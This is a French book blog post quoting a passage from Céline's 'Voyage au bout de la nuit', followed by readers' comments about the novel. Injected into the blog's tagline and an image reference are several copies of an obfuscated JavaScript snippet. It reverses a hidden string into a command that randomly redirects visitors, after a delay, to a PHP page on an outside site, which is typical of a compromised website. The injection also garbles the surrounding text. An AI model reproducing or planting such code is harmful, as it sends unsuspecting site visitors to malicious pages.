La citation du jeudi – Céline, Voyage au bout de la nuit
Celle-ci est toujours extrait de mon vieux carnet.
Ce livre fantastique Voyage au bout de la nuit, je l’ai lu 2 fois et c’est très rare venant de moi. En effet, je l’avais lu il y a longtemps sans vraiment connaitre l’auteur.
« Voyager, c’est bien utile, ça fait travailler l’imaginaire. Tout le reste n’est que déceptions et fatigues. Notre voyage à nous est entièrement imaginaire. Voilà sa force.
Il va de la vie à la mort. Hommes, bêtes, villes et choses, tout est imaginé. C’est un roman, rien qu’une histoire fictive. Littré le dit, qui ne se trompe jamais.
Et puis d’abord tout le monde peut en faire autant. Il suffit de fermer les yeux. C’est de l’autre côté de la vie.«
delphinesbooks
Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.
{if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>toy-pho<script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>to52.jpg)
No Comments
Le Journal de Chrys
Je l’ai lu, il y a longtemps….
Oui séparer l’œuvre de l’homme… Oui et pourtant… L’homme a fait l’œuvre.
Marianne
« Voyage au bout de la nuit » est un des rares chef d’oeuvre de la littérature française, c’est sûr, mais « Mort à crédit » est encore plus abouti à mon avis (et je ne suis pas la seule à le penser). En tout cas, une bien belle citation pour commencer la journée, merci.
zorane
Je l’avais découvert en fac, je le relirai volontier
Mademoiselle
Sublime. Je l’ai lu il y a longtemps. Belle citation.
J’ai reçu « Les années », je t’envoie l’enveloppe surprise lundi ou mardi… Merci encore
L'Ogresse
Tout a fait d’accord avec toi en ce qui concerne ce roman et l’auteur. Tres bel extrait aussi.
La Nymphette
J’aime beaucoup… cette citation et surtout ta photo qui témoigne que ton amour des livres et des mots ne date pas d’hier… D’avoir souvent déménagé (et parfois très loin) fait que je n’ai pu garder ces traces, mais c’est aussi parce que j’ai du mal à conserver les choses, comme si j’avais besoin d’être libre de toute attache pour avancer.
Je n’ai pas réussi à lire ce roman, pourtant de lointains cours de Philosophies, je me rappelle cette citation: « L’amour, c’est l’infini mis à la portée des caniches »…
Anouchka
C’est très beau. Mais je n’ai pas réussi à lire ce livre… Peut être plus tard…
chiffonnette
Je n’ai jamais réussi à le terminer, à mon grand dam! Un jour peut-être!
Pickwick
Livre ouvert certainement trop jeune, abandonné sans regret à l’époque mais aujourd’hui je me dis que je devrai lire ce classique tout de meme !
Grimmy
Un grand livre que j’ai dû lire deux fois également et dont je piochais des citations. Je fus bien moins convaincue par ces autres livres (que j’ai abandonnés en cours de lecture, très très rare pour moi ou que j’ai finis avec peine).